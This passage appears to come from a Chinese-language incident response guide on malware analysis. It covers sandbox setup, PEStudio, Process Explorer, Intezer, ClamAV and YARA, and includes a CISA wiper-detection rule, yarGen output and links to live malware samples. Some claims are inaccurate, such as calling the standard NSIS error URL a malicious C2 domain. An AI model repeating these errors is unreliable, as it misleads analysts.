病毒:在某个时期,病毒一词用于指对计算机系统有害的任何恶意代码。随着恶意软件类型的增加,病毒一词被归类为对系统有故意恶意影响的任何代码。
-
蠕虫:通常是病毒的一部分,蠕虫不仅能对系统产生影响,还能自我复制并影响连接到它的其他系统。最著名的蠕虫之一是 Morris 蠕虫,于 1988 年在全球范围内传播,导致互联网上的拒绝服务(DoS)攻击。
-
特洛伊木马:源自神话中的特洛伊木马,这类恶意软件通常隐藏在合法应用程序或文件中。当不知情的用户打开文件时,恶意软件会感染系统。此类恶意软件通常利用社会工程学攻击感染系统。
-
键盘记录器:此特定恶意软件隐藏在运行系统的背景中,捕获用户的按键输入。然后,将此信息发送给控制器进行审查。编写键盘记录器的程序员通常有兴趣获取凭据。
-
Rootkit:Rootkit 用于隐藏其他恶意代码,如远程访问特洛伊木马(RAT),允许攻击者远程控制被感染的系统。
-
信息窃取恶意软件:通常为单一目的编写,此类恶意软件用于捕获诸如信用卡号码或银行凭据等信息,例如 Shylock 恶意软件,专门用于捕获银行登录信息。
-
后门:作为远程访问的另一种变体,这类恶意软件感染系统后,允许攻击者接管被感染的系统。
-
下载器:随着防御变得越来越复杂,恶意软件编写者也变得越来越高级。下载器是一个多阶段恶意软件程序的一部分。下载器通常会感染一个系统,然后连接到远程服务器获取其余的代码。这种方法常用于绕过安全控制,并且对于恶意软件编写者来说,可以利用更大、更复杂的恶意软件。
-
僵尸网络:僵尸网络是一系列计算机,所有计算机都通过一个名为僵尸网络控制器的中央系统在互联网上进行控制。首先,僵尸网络恶意软件感染一个系统。当感染的系统数量增加时,恶意软件编写者可以利用这个僵尸网络对单一目标发起分布式拒绝服务(DDoS)攻击。
-
勒索软件:勒索软件是一种相对较新的恶意软件,它会加密受害者的文件。然后,恶意软件会向受害者索要支付,通常是以比特币等加密货币的形式,以换取解密密钥。
-
文件清除工具:文件清除工具会销毁文件,或者可能会感染主引导记录(MBR),并修改记录,使文件无法再被系统访问。
这些变种中的许多会一起使用,形成一个链。例如,恶意软件编写者可能会首先感染一个系统,利用伪装成合法应用程序的远程访问木马(RAT)。当一个毫无防备的用户打开应用程序时,代码会自动执行。然后,它会下载第二个有效载荷并进一步感染系统,允许编写者进行远程访问。最后,凭借远程访问,攻击会继续进行,攻击者会寻找支付系统。在那里,他们将第二个恶意软件加载到支付系统中并捕获明文信用卡号码。
恶意软件的另一个关键方面是它的演变。恶意软件的变种数量激增,当前在野外存在的恶意代码数量也非常庞大。恶意软件每天都在进化,新的编码、交付和执行技术快速变化。分析人员应当始终关注这些变化,以便随时为最新的、更具破坏性的代码做好准备。
在进行静态和动态分析之前,我们将先了解如何配置恶意软件沙箱。
设置恶意软件沙箱
分析恶意软件时,一个重要的考虑因素是如何在一个安全的环境中处理恶意软件,而不会不小心感染你的系统。恶意软件沙箱是一个受控环境,分析人员可以在其中进行恶意软件的静态和动态分析,而不会有感染生产系统的风险。在这种情况下,我们将讨论两种类型的沙箱;本地沙箱允许分析人员配置一个完全由他们控制的系统,而基于云的选项则允许分析人员利用动态分析。
本地沙箱
本地沙盒是一个已经配置了设置和工具的系统,在这个系统中分析员可以在受控环境中检查恶意软件。配置本地沙盒的一种技术是使用虚拟化超级监视器,例如 Virtual Box 或 VMWare,并在其上配置操作系统。使用虚拟化进行沙盒有关键优势。我们已经解决了第一个问题:如果分析员感染了系统,它不会影响生产系统。第二个优势是快照功能。分析员可以根据自己的喜好配置沙盒,然后进行快照。分析完成后,他们可以回滚到快照状态,获得一个全新的安装。
过程的第一步是选择超级监视器。从这里开始,微软制作了包括服务器在内的最流行的 Windows 操作系统的副本。例如,已经配置好的 Windows 10 虚拟机可以从developer.microsoft.com/en-us/windows/downloads/virtual-machines下载,或者可以从www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise下载 Windows 10 ISO。
安装完成后,分析员可以将任何工具或脚本下载到虚拟机中。这可能会耗费时间,这取决于分析员希望包含的工具数量。另一个选择是利用预配置的工具包,如 REToolKit,可以从github.com/mentebinaria/retoolkit获取。此安装程序下载各种用于静态和动态恶意软件分析的工具。另一个选择是使用Mandiant FLARE v 2.0。FLARE 利用 PowerShell 脚本在各种 Windows 平台上下载和配置本地沙盒。FLARE 的安装和使用说明可在github.com/mandiant/flare-vm.找到。
在完成沙盒设置后,分析员应立即对全新安装进行快照。这样可以确保每次分析都使用全新安装,避免交叉污染。这还意味着,如果分析员意外执行了恶意软件,他们可以简单地回滚到全新安装状态,重新尝试。
配置本地恶意软件沙箱时有几个注意事项。首先,确保移除任何网络连接。根据虚拟机管理程序和网络配置的不同,如果虚拟机与其他系统共享网络连接,恶意软件有可能通过网络传播。此外,有些恶意软件可以逃脱虚拟机。你应将沙箱限制为那些必要时可以清除的主机。第三个考虑因素是,一些恶意软件变种可以识别它们是否在虚拟机中执行。如果分析人员试图在沙箱中执行这些恶意软件,并且它们是这些“沙箱感知型”变种之一,那么它们可能无法正常执行,这常常让分析人员感到沮丧。
云沙箱
分析人员可以使用的一个选项是基于云的沙箱版本,它们通常是商业或社区资源,托管在云端。分析人员通常可以上传文件或文件哈希,并选择操作系统类型,沙箱会自动完成其余的工作。
使用该解决方案的主要优势是节省时间和资源。分析人员无需维护沙箱或经历让恶意软件运行的压力。此外,这个解决方案通常能在几分钟内提供结果,包括关于 IOC 和恶意软件行为的详细报告。
这类解决方案的一个主要缺点是,分析人员有时无法控制解决方案收集的数据。例如,像 VirusTotal 这样的开源解决方案会将结果公开给任何人。威胁行为者监控这些网站,以便发现目标是否上传了样本,这种情况并不罕见。如果你使用的是云沙箱,建议使用不会将结果发布给更大安全社区的沙箱。
有了沙箱环境,接下来我们来看看静态恶意软件分析。
静态分析
静态分析涉及检查实际的恶意软件代码,而无需在系统上执行它。对于恶意软件研究人员来说,代码可能来自故意感染的系统,或者来自受到恶意软件影响的生产系统。
在这种情况下,事件响应分析人员可以通过内存分析和获取硬盘分析时的实际可执行文件,结合两者来获得代码或可执行文件。静态分析通常包括几种不同的技术,具体如下:
-
指纹识别:最基本的技术之一是获取代码的加密哈希值。这些哈希值可以与其他已知哈希值进行比较,以判断代码是否曾经出现过。
-
杀毒扫描:杀毒软件供应商通常无法捕捉到所有病毒。例如,有些供应商可能已经分析了代码并为其产品部署了签名,其他供应商可能没有接触到这些代码或没有部署签名。一个好的步骤是使用多个不同的杀毒软件供应商来扫描一个文件。
-
字符串提取:恶意软件编程者通常会在恶意软件中以明文形式包含 IP 地址、错误信息或其他数据。找到这些字符串可能帮助分析员识别指挥与控制(C2)服务器或其他可能表明恶意软件目的的数据。
-
文件格式:无论是合法的还是非法的可执行文件,都会有相关的元数据。恶意软件分析员可以查看便携式可执行文件格式应用程序的编译时间、函数、字符串、菜单和图标。
-
打包器分析:为了绕过杀毒程序,恶意软件编程者利用打包器。这些打包器通过压缩或加密,使得它们不会留下明显的文件哈希。有一些工具可用,但通常,针对打包的恶意软件进行静态分析是困难的。
-
反汇编:通过使用专门的软件反向工程代码,可以让恶意软件分析员查看汇编代码。从这里,分析员可能能够确定恶意软件试图执行的操作。
与动态分析相比,静态分析可能显得有些繁琐。尽管很多搜索和分析是手动完成的,但也有一些优势。首先,在不执行代码的情况下进行检查更加安全。尤其是在没有全面沙盒解决方案的组织中,这一点尤为重要。此外,静态分析提供了更全面的分析,并能更好地理解恶意软件编程者的意图。
静态分析也有一些缺点。这种技术要求恶意软件代码的完整性,以达到最佳效果。另一个关键缺点是进行分析所需的时间。随着恶意软件越来越复杂,进行静态分析所需的时间可能超过了组织能够承受的范围。
在发生事件时,这个问题尤为突出,事件响应团队可能更希望得到一种可以解决大部分问题的分析,而不是等最全面的分析结果。
静态属性分析
我们将从检查可疑文件的静态属性开始。在这个案例中,我们将使用一个工具来概览文件属性,并提供潜在的指示信息。这是一种直接使用开源工具进行分析的方法。在这个例子中,我们将分析一个来自 Abuse.ch 的恶意软件样本,这个样本可以在 bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/ 找到。一旦你下载了样本,就需要使用 infected 密码解压文件。
安全处理恶意软件
处理恶意软件样本的标准做法是使用类似 7-Zip 的工具压缩文件,并使用被感染的密码。这达到了两个目的。首先,它减少了分析员在移动或复制恶意软件时,意外在生产环境中引爆恶意软件的机会。其次,如果分析员没有在沙盒中禁用他们的恶意软件保护,这种方法可以防止恶意软件被隔离或删除。
现在我们有了一个活跃的恶意软件样本,接下来让我们看看可以通过 PEStudio 查找到的具体属性。
PEStudio
在这个例子中,我们将使用免费的 PEStudio 工具(可从 www.winitor.com/download 下载)。这个工具可以快速提取文件中的遗物进行分析。下载后,工具将打开以下窗口。可疑的恶意软件文件可以直接拖放到窗口中,如 图 16.2 所示,或者你也可以通过窗口左上角的文件夹图标添加它们:

图 16.2 – PEStudio 的恶意软件加载窗口
请解压可疑文件并将其拖入窗口中。分析结果将立即开始填充,如 图 16.3 所示。在这种情况下,我们可以看到文件哈希,以及其他指示文件是可执行文件的元数据,正如在 first-byte-text 条目中看到的那样——即 MZ:

图 16.3 – PEStudio 元数据视图
点击 indicators(指示器)部分,可以看到 46 个独立的文件指示器。其中有几个非常可疑。文件引用了 URL 模式 条目,如 图 16.4 所示,尤其有用,因为它表明恶意软件编码者插入了一个恶意 URL,nsis.sf.net/NSIS_Error,该 URL 可能建立命令与控制(C&C)或下载第二阶段恶意软件:

图 16.4 – PEStudio 指示器视图
PEStudio 还可以从恶意软件中提取字符串。这对于重建恶意软件的一些行为非常有用。例如,在 图 16.5 中,我们可以看到文件偏移 0x00007066 处的字符串值为 RegCloseKey,这表明恶意软件很可能会修改系统注册表设置。此外,字符串是查找特定 IOCs 的最佳位置之一。在本例中,我们可以看到 C2 域名,即 nsis.sf.net/:

图 16.5 – PEStudio 字符串
PEStudio 允许事件响应人员对可疑恶意软件进行 10,000 英尺的概览。此外,他们可能能够确定是否可以提取特定的 IOCs(指标)。正如我们所看到的,我们至少能够识别出这个恶意软件使用的域名,以及像注册表修改等特定行为。依赖这种方法的主要缺点是,我们仍然对这个恶意软件知之甚少。像混淆和持久性等技术细节,以及其他行为,仍然未知。为了了解这些,我们需要进行更加全面的分析。
动态分析
在静态分析中,重点是检查潜在的恶意软件在受控环境中的表现,通常是检查实际的代码或寻找可以与其他来源进行比较的特定文件属性。而在动态分析中,重点是让潜在的恶意软件在受控环境中执行,并观察程序表现出的行为。
动态分析为恶意软件研究人员和事件响应人员提供了几个优势。首先,允许代码完全执行将去除诸如加密或恶意软件编写者使用的其他混淆技术等障碍。其次,可以利用多个自动化工具进行动态分析。这消除了手动过程,因为随着恶意软件复杂度的增加,手动分析会变得非常繁琐。最后,动态分析通常更快,因为研究人员可以实时监控潜在恶意软件在系统上的工作方式。
动态恶意软件分析可以利用以下两种广泛的分类:
-
已定义点分析:在此方法中,将一个测试操作系统(如 Windows 7)配置为实时生产状态。分析师记录下各类注册表键设置、进程和网络连接。一旦这些记录完成,疑似恶意软件将在该系统上执行。当分析师确信恶意软件已完全执行后,他们将比较系统的两个点,如比较运行中的进程或识别系统变化。此类分析可以利用前几章中介绍的一些取证技术。例如,分析师可以获取一个刚安装的操作系统并进行内存捕获。然后,将其与来自受感染机器的内存捕获进行比较,从而为分析师提供一个参考点,帮助识别恶意软件的特定行为。
-
运行时行为分析:在此方法中,分析师利用 Process Explorer 等工具以及其他实用程序来观察可疑恶意软件在执行过程中的行为。一些工具可以自动化大部分过程,从而帮助分析师深入理解恶意软件的执行方式。
Process Explorer
允许对正在执行的恶意软件进行详细检查的关键工具之一是 Process Explorer。该工具是 Windows Sysinternals 工具套件的一部分,提供一个免费的平台,帮助分析师了解每个进程正在运行的内容及其父进程,并检查 CPU 使用情况。只需从以下网站下载应用程序:technet.microsoft.com/en-us/sysinternals/process-explorer。
提取内容,然后双击适用的 Process Explorer 版本(32 位或 64 位版本)。将会出现以下窗口:

图 16.6 – Process Explorer
如图所示,分析师可以获取到若干关键的信息。此工具的主要优势在于其可视化表现。与尝试使用原生 Windows 工具或其他内存分析工具捕获后进行分析相比,分析师可以快速查看是否有进程看起来可疑。
分析师可以将一个进程及其相关数据发送到www.virustotal.com/gui/home/upload。如果发现可疑进程,Process Explorer 会将信息发送到该站点进行分析和比对。如果识别出一个进程,点击窗口中的该进程,导航到 进程,然后检查 VirusTotal。结果将以 72 分制的数字形式显示,如下截图所示:

图 16.7 – PCHealthCheck.exe VirusTotal 检查
Process Explorer 提供的另一个关键功能是能够像 Volatility 一样转储进程内容。主要区别在于,分析人员可以在无需获取内存镜像的情况下进行转储。要转储内存,请点击进程,导航到 进程,然后点击 创建转储。分析人员可以选择生成最小转储或完整转储。作为标准做法,建议捕获完整转储。然后可以将此转储保存到所选目录。
进程生成控制
在检查恶意软件时,可以利用的一种技术是创建一个具有适当 Windows 操作系统的虚拟机。最好从一个基础操作系统开始,并安装 Microsoft Office 套件。如果恶意代码利用了这些应用程序中的漏洞,则可以稍后安装其他第三方程序。在这种类型的检查中,一个有用的工具是进程生成控制。这个 PowerShell 脚本可通过 github.com/felixweyne/ProcessSpawnControl 获取,它允许响应者控制恶意软件的执行并观察在 Process Explorer 中采取的操作。要进行此类分析,请按照以下步骤操作:
-
启动 Process Explorer 并运行几秒钟。
-
在 PowerShell 终端中,执行
ProcessSpawnControl.ps1脚本。如果出现提示,选择 仅运行一次。 -
进程生成控制将暂停所有可执行文件,而不仅仅是潜在的恶意软件。启动后,打开 Windows
notepad.exe可执行文件,以下窗口应显示:

图 16.8 – 进程生成控制 notepad.exe 挂起
- 在 Process Explorer 窗口中,
notepad.exe进程将显示为挂起状态,如下图所示:

图 16.9 – Process Explorer 中的 notepad.exe 挂起
- 点击
notepad.exe进程将执行,如下所示:

图 16.10 – Process Explorer 中的 notepad.exe 正在运行
将这些工具结合使用可以让响应者了解潜在恶意软件可执行文件的功能以及它可能采取的执行路径。这些数据结合通过内存或日志文件分析获得的其他证据,可以提供有关恶意软件如何破坏系统的额外背景信息。
虽然动态分析有明显的优势,但事件响应者应该理解在系统中引爆可疑恶意软件之前需要解决的一些问题。首先,必须配置一个受控环境。
可疑的恶意软件绝不能在生产环境中执行。研究人员和事件响应者应确保任何测试或分析环境与生产环境完全隔离。
另一个问题是创建适当的动态分析环境所需的资源数量。恶意软件研究人员和事件响应人员利用沙箱环境来分析恶意软件。沙箱就是一个受控环境,在其中可执行可疑的恶意软件,并进行相关分析。对于从事恶意软件研究的组织来说,这个沙箱可能非常庞大,因为应当维护各种操作系统及其补丁级别的副本。例如,一个组织要测试影响 Windows 操作系统的恶意软件样本时,通常需要拥有 Windows XP、Windows 7、Windows 8 以及最终的 Windows 10 实例,并且需要包含各种补丁级别。这使得他们可以精准地定位受恶意软件影响的特定操作系统。除了操作系统,分析人员还需要拥有内存镜像。
自动化分析
市面上有各种各样的自动化沙箱提供商。使用这些服务时,特别是那些属于社区访问权限的服务时,需要记住的一个警告是,上传进行分析的样本可能会被公开。已知攻击者会监视各种自动化沙箱平台,查看他们的代码何时被分析。如果恶意软件是在事件响应过程中从系统中提取并上传的,你可能已经暴露了你的行动。对于操作安全(OPSEC)至关重要的情况,市面上也有不共享样本的商业解决方案。
Intezer 沙箱
为了展示在线沙箱的一些关键功能,我们将查看位于analyze.intezer.com/的 Intezer Analyze 沙箱,如图 16.11所示。该服务的社区版允许你搜索文件哈希值,类似于我们在查看 VirusTotal 和 Hybrid Analysis 等站点时所做的那样。在进行完整分析之前,应该进行的一个步骤是,通过像 PEStudio 这样的工具提取文件哈希值,并搜索该哈希值,以确定样本是否已在沙箱中运行过。这一步骤可以节省时间。在这种情况下,我们将通过运行一个样本来突出展示通过完整沙箱分析获得的功能:

图 16.11 – Intezer Analyze 文件上传
在此案例中,我们将使用与 PEStudio 一起检查的相同样本。该样本可以通过网页浏览器上传到沙箱,方法是将文件拖放或浏览主机文件系统。如图 16.12所示,一旦样本被拖入网页浏览器,元数据将会自动填充:

图 16.12 – Intezer 元数据
上面的截图显示了文件的元数据,包括文件的哈希值。我们几乎立即看到的另一个关键信息是,文件在沙箱中执行后,与 NSIS 安装程序共享了字符串和其他属性,NSIS 使用 Nullsoft 可脚本化安装系统。NSIS 是一种用于构建 Windows 可执行文件的开源工具。NSIS 恶意软件变种使用一种混淆技术,试图通过使用非恶意插件(如作为背景图像的位图图像和非恶意的 uninst.exe 卸载程序)伪装成合法的安装程序。这类木马恶意软件在勒索软件攻击中使用得越来越多。这是使用此类服务的一个主要优势,因为我们获得了关于该文件的额外上下文,如果我们仅停留在静态分析中,我们是无法获得这些信息的:

图 16.13 – Intezer – 通用摘要
执行恶意软件后,我们将看到如下面截图所示,Intezer 分析返回了总体结果,表明该文件与 Loki 木马恶意软件家族有关:

图 16.14 – Intezer 恶意软件定罪
图 16.15中的分析输出显示了 Intezer 分析的其他样本,这些样本使用了 NSIS 安装程序。重用的基因展示了我们分析的样本与其他过去分析的样本之间的关系。这在多种恶意软件家族中是常见的现象:

图 16.15 – 重用的基因
像 Loki 这样的恶意软件通常作为“商品恶意软件”进行出售。这使得威胁行为者可以购买代码并根据需要进行修改。这意味着,仅仅将某段特定的代码归因于某个威胁行为者,并不意味着只有该威胁行为者有权限访问该代码。全球各地的威胁行为者,且具有不同技能水平的,将使用并重复使用这些代码,这使得将恶意软件归因于特定团体变得复杂。
如图 16.16所示的代码部分展示了恶意软件中的各种代码指令。这些指令在威胁情报方面可能没有立即的价值,但通常为更详细的静态分析提供了一个起点,正如我们之前所指出的,这是一个耗时的过程:

图 16.16 – 代码分析
接下来的标签显示了在分析过程中提取的字符串。图 16.17展示了我们在使用 PEStudio 分析代码时首次观察到的相同 URL (nsis.sf.net/NSIS_Error):

图 16.17 – 字符串
在功能标签下,分析提供了恶意软件所利用的 MITRE ATT&CK 战术和技术的详细分类。如我们在防御规避战术列中所见,恶意软件会混淆文件或信息。这与我们在元数据中识别出的 NSIS 安装包一致:

图 16.18 – MITRE ATT&CK 技术
最终,分析提供了我们可以在图 16.19中看到的网络和文件 IOC:

图 16.19 – 恶意软件 IOC
在自动沙箱方面,有许多提供商可供选择。其他潜在的选择包括Joe Sandbox、Hybrid Analysis和App.any。杀毒软件提供商通常会包含一个沙箱功能,提供类似我们在此探索的功能。再次提醒,确保你完全了解沙箱解决方案是否会将你上传的样本提供给公众使用。一种在 OPSEC 至关重要的情况下可行的技术是获取文件的哈希值,并在沙箱解决方案中搜索是否有上传相同哈希值的文件。这将产生相同的结果而不会暴露你的意图。如果没有其他组织或个人上传相同的文件,最好使用不共享分析结果的解决方案。通常,这类解决方案是通过商业产品实现的,规定你的信息不会被共享。
ClamAV
进行静态分析的第一步是确定待分析的潜在恶意软件是否已被之前识别。单个样本的哈希值可以上传到像 VirusTotal 这样的站点,但如果响应者通过分析获得了多个文件,他们需要能够判断是否有文件值得进一步检查。
一种技术是使用商业杀毒扫描器扫描目录。在这种情况下,可以利用一个免费的开源工具 ClamAV。ClamAV 是一个命令行工具,允许响应者扫描包含各种可疑文件格式的目录。在此,识别出的可疑文件可以进一步由响应者分析。
要设置 ClamAV,请访问www.clamav.net/downloads下载软件包。在此示例中,我们将使用 Windows MSI 文件来安装 ClamAV。
ClamAV 的有效性在很大程度上依赖于扫描包中包含的签名。一些恶意软件变种可能没有对应的签名,因此会未被检测到。了解这一点后,ClamAV 是检查大量潜在恶意软件文件并识别已知文件的有用工具。以下是适用于 Windows 操作系统的安装说明:
-
访问 ClamAV 下载页面
www.clamav.net/downloads#otherversions,并下载 Windows MSI 文件。 -
运行安装程序。默认设置将把 ClamAV 文件放置在
C:\ProgramFiles\ClamAV目录中。 -
导航到
ClamAV目录并运行以下两条命令。这些命令将把配置文件移动到适当的 ClamAV 目录:copy .\conf_examples\freshclam.conf.sample .\freshclam.confcopy .\conf_examples\clamd.conf.sample .\clamd.conf -
移动配置文件后,使用 WordPad 打开每个文件,并删除两个配置文件中显示
Example的那一行:

图 16.20 – 配置文件条目
-
移除两个配置文件中的行后,恶意软件签名库需要更新。请导航到
ClamAV文件夹并在命令行中运行以下命令:C:\Program Files\ClamAV>freshclam.exe
这将生成以下输出:

图 16.21 – FreshClam 签名更新
ClamAV 可以作为传统的防病毒程序使用,但在本例中,我们将探讨如何使用它来扫描一个包含可疑文件的目录。在这个例子中,使用了来自Malware-traffic-Analysis.net的文件。你可以从www.malware-traffic-analysis.net/2021/10/13/2021-10-13-Dridex-malware-and-artifacts.zip下载样本文件。下载并解压文件。只需将clamscan.exe指向包含可疑恶意软件的目录,然后运行clamscan.exe。例如,以下命令会将 Clamscan 应用于名为Suspected Malware的目录:
C:\Program Files\ClamAV>clamscan.exe "C:\Users\flare\Documents\Suspected Malware"
此命令将加载签名文件,然后比较文件并生成以下结果:

图 16.22 – Clamscan 输出
在此案例中,有一个文件与签名匹配,Xls.Downloader.SquirrelWaffle1021-9903731-0。
ClamAV 的效能在很大程度上取决于扫描包中包含的签名。一些恶意软件变种可能没有相应的签名,因此无法被检测到。了解这一点后,ClamAV 是检查许多潜在恶意软件文件并识别已知文件的有用工具。应对缺失签名问题的一个好方法是使用多个恶意软件防护厂商对同一文件样本进行扫描。这将增加识别任何可疑文件的可能性。
YARA
一款从恶意软件分析社区进入威胁情报领域的工具是 YARA。这个开源工具因其能够解析大量数据并指示是否有匹配的字符串或数据模式,常被拿来与 Linux 的 GREP 命令作比较。YARA 的缩写代表什么意思一直是友好讨论的话题,有人认为是 YARA: 另一个递归缩写,也有作者偏好称其为 Yet Another Ridiculous Acronym(又一个荒谬的缩写)。抛开命名不谈,YARA 工具作为事件响应人员和恶意软件研究人员的瑞士军刀,具备的功能也能被分析师充分利用。
YARA 工具由 VirusTotal 维护,分为两个组件。其中第一个是扫描工具。这个用 Python 编写的工具是扫描文件(如内存转储、磁盘映像或疑似恶意可执行文件)以匹配指标的引擎。由于该工具是开源的,且具备强大的功能,第三方工具也利用 YARA 规则结构。Florian Roth 的 Nextron Systems 提供的 Loki 扫描工具就将 YARA 集成到了其扫描软件中。数字取证内存分析工具 Volatility 在分析内存捕获时也能使用 YARA 规则。
YARA 文档
YARA 的完整文档可以在 yara.readthedocs.io/en/stable/index.html 上找到。这个资源包含了如何在 Linux、Windows 和 macOS 上安装 YARA 扫描引擎的指引,以及关于整个工具集的详细说明。
YARA 的第二个组件是规则。这些规则类似于其他模式匹配模式,例如 SNORT 入侵检测系统规则。扫描引擎将文件分析结果与包含 IOCs(入侵指标)的规则集合进行比较。考虑到 YARA 的实用性,恶意软件分析服务商通常会在其发布的分析中包含 YARA 规则,例如以下 YARA 规则,该规则摘自网络安全和基础设施安全局,详细内容可见 www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b。此规则与 ISAACWIPER 恶意软件变种相关:
rule CISA_10376640_01 : trojan wiper ISAACWIPER
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10376640"
Date = "2022-03-14"
Last_Modified = "20220418_1900"
Actor = "n/a"
Category = "Trojan Wiper"
Family = "ISAACWIPER"
Description = "Detects ISACC Wiper samples"
MD5_1 = "aa98b92e3320af7a1639de1bac6c17cc"
SHA256_1 = "abf9adf2c2c21c1e8bd69975dfccb5ca53060d8e1e7271a5e9ef3b56a7e54d9f"
MD5_2 = "8061889aaebd955ba6fb493abe7a4de1"
SHA256_2 = "afe1f2768e57573757039a40ac40f3c7471bb084599613b3402b1e9958e0d27a"
MD5_3 = "ecce8845921a91854ab34bff2623151e"
SHA256_3 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
strings:
$s0 = { 73 00 74 00 61 00 72 00 74 00 20 00 65 00 72 00 61 00 73 00 69 00 6E 00 67 }
$s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }
$s2 = { 46 00 41 00 49 00 4C 00 45 00 44 }
$s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 00 78 00 74 }
$s4 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
$s5 = {53 74 61 72 74 40 34}
$s6 = {3B 57 34 74 2D 6A}
$s7 = {43 6C 65 61 6E 65 72 2E}
condition:
all of ($s0,$s1,$s2,$s3,$s4) or all of ($s5,$s6,$s7)
}
前述 YARA 规则包含四个部分。让我们详细看看每一部分。第一部分是 rule CISA_10376640_01 : trojan wiper ISAACWIPER。
这标识了 YARA 规则,并且应该对作者有意义。一个好的规则是使用恶意软件变种的名称,正如前述规则所示。
第二个组成部分是规则的元数据。在前面的规则中,这通过 meta: 行来标识。元数据可以包括描述规则的字段。与前面的规则一样,这包括作者、事件编号、日期以及与恶意软件相关的各种哈希值。YARA 规则在元数据部分提供了很大的灵活性。任何可能有帮助的信息都可以包含在内。
接下来是 YARA 规则的核心部分,那就是它的字符串。字符串通常通过分析获得,例如我们在前一个示例中看到的使用 PEStudio。这些字符串可以是十六进制字符串、文本字符串或正则表达式。文本字符串可以与以下修饰符一起使用:
-
nocase:表示字符串不区分大小写。这为规则作者提供了更多的灵活性,以便在恶意软件中找到文本字符串。例如,如果作者想要包括“malware”一词的所有变体,YARA 规则中的行将类似于$string1 = "malware" nocase。 -
wide:恶意软件二进制文件通常使用每个字符两字节编码的字符串。wide 修饰符用于查找以这种方式编码的字符串。以前面的示例为例,可以将修饰符添加到字符串中:$string1 = "malware"nocase wide。 -
fullword:如果规则作者仅希望匹配由非字母数字字符分隔的字符串,则应使用fullword修饰符。例如,在前面的示例中,如果规则作者只想匹配类似 malware 的字符串,而不是 antimalware 或 malwared,可以使用此修饰符。 -
xor:此修饰符查找使用 XOR 函数加密的字符串。在查看与已知命令和控制框架(如 Cobalt Strike)相关的代码时,记住这一点非常有用。在 第十六章中,我们将讨论使用 XOR 函数绕过检测控制的常见勒索软件攻击。 -
Base64:威胁行为者的另一个常见策略是使用 Base64 编码的脚本。此修饰符用于识别恶意软件文件中的编码字符串。
在示例 YARA 规则中,字符串由几个十六进制字符串组成,例如:$s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }。
YARA 规则的最后一部分是其条件。这些条件设置了识别样本是否与 YARA 规则匹配的参数。这些是程序员已经熟悉的布尔表达式。YARA 能够理解典型的布尔操作符、关系操作符、算术操作符以及位操作符。
YARA 是一个灵活的工具,可以用来识别多种文件位置中是否存在恶意软件或漏洞利用程序。此外,YARA 是一个开源项目,拥有广泛的贡献者,从商业杀毒软件开发者到独立研究人员,他们为社区提供规则。在下一章中,我们将了解这些规则如何应用于事件调查。但在我们结束之前,我们将先看一个简单的工具,帮助分析员编写自己的规则。
YarGen
事件响应和恶意软件分析员通常需要为大量恶意软件样本创建规则。根据恶意软件的复杂性和数量,这往往是一个耗时的过程。为了帮助创建 YARA 规则,Florian Roth 开发了一个基于 Python 的工具,名为 YarGen,它自动化了 YARA 规则的创建。
YarGen 可以从 GitHub 下载,地址为 github.com/Neo23x0/yarGen,并可以安装在任何能够执行 Python 脚本的系统上。安装完成后,可以针对恶意软件样本目录运行脚本。在此案例中,我们将针对之前检查过的恶意软件样本运行脚本。此时,以下命令将运行脚本并对该样本进行检查:
remnux@remnux:~/yarGen-master$ python3 yarGen.py -m /home/remnux/Downloads/malware_samples/
图 16.23 表示脚本正在运行:

图 16.23 – YarGen YARA 规则生成器
该命令生成以下 YARA 规则。值得注意的是,规则应经过审查并根据需要修改,因为该工具并不能完美匹配字符串和其他数据。因此,分析员应对输出的规则进行清理和后处理,以确保规则不包含任何不必要的字符串或条件,这些字符串或条件可能会增加误报率:
/*
YARA Rule Set
Author: yarGen Rule Generator
Date: 2022-07-27
Identifier: malware_samples
Reference: https://github.com/Neo23x0/yarGen
*/
/* Rule Set ----------------------------------------------------------------- */
rule sig_6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242
{
meta:
description = "malware_samples - file 6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242.exe"
author = "yarGen Rule Generator"
reference = "https://github.com/Neo23x0/yarGen"
date = "2021-07-27"
hash1 = "6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242"
strings:
$x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersio" ascii
$x2 = "<assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/><description>" ascii
$s3 = "ExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/></requestedPrivileges></security></trustInfo><compatibility xmlns=\"urn:s" ascii
$s4 = " Install System v2.46</description><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\"><security><requestedPrivileges><request" ascii
$s5 = "s-microsoft-com:compatibility.v1\"><application><supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/><supportedOS Id=\"{e" ascii
$s6 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersio" ascii
$s7 = "SHFOLDER" fullword ascii /* Goodware String - occured 37 times */
$s8 = "NullsoftInst" fullword ascii /* Goodware String - occured 89 times */
$s9 = "SeShutdownPrivilege" fullword ascii /* Goodware String - occured 153 times */
$s10 = "mXDZG^H}" fullword ascii
$s11 = "WyUG\"_" fullword ascii
$s12 = "_`.XJn" fullword ascii
$s13 = "nTwZvD#" fullword ascii
$s14 = "gTFeK?" fullword ascii
$s15 = "snBZR_j" fullword ascii
$s16 = "vRPe~VSR" fullword ascii
$s17 = "008deee3d3f0" ascii
$s18 = "]WJgX>kMix" fullword ascii
$s19 = ",ywSvQMQ" fullword ascii
$s20 = "fjUu.$U" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
1 of ($x*) and 4 of ($s*)
}
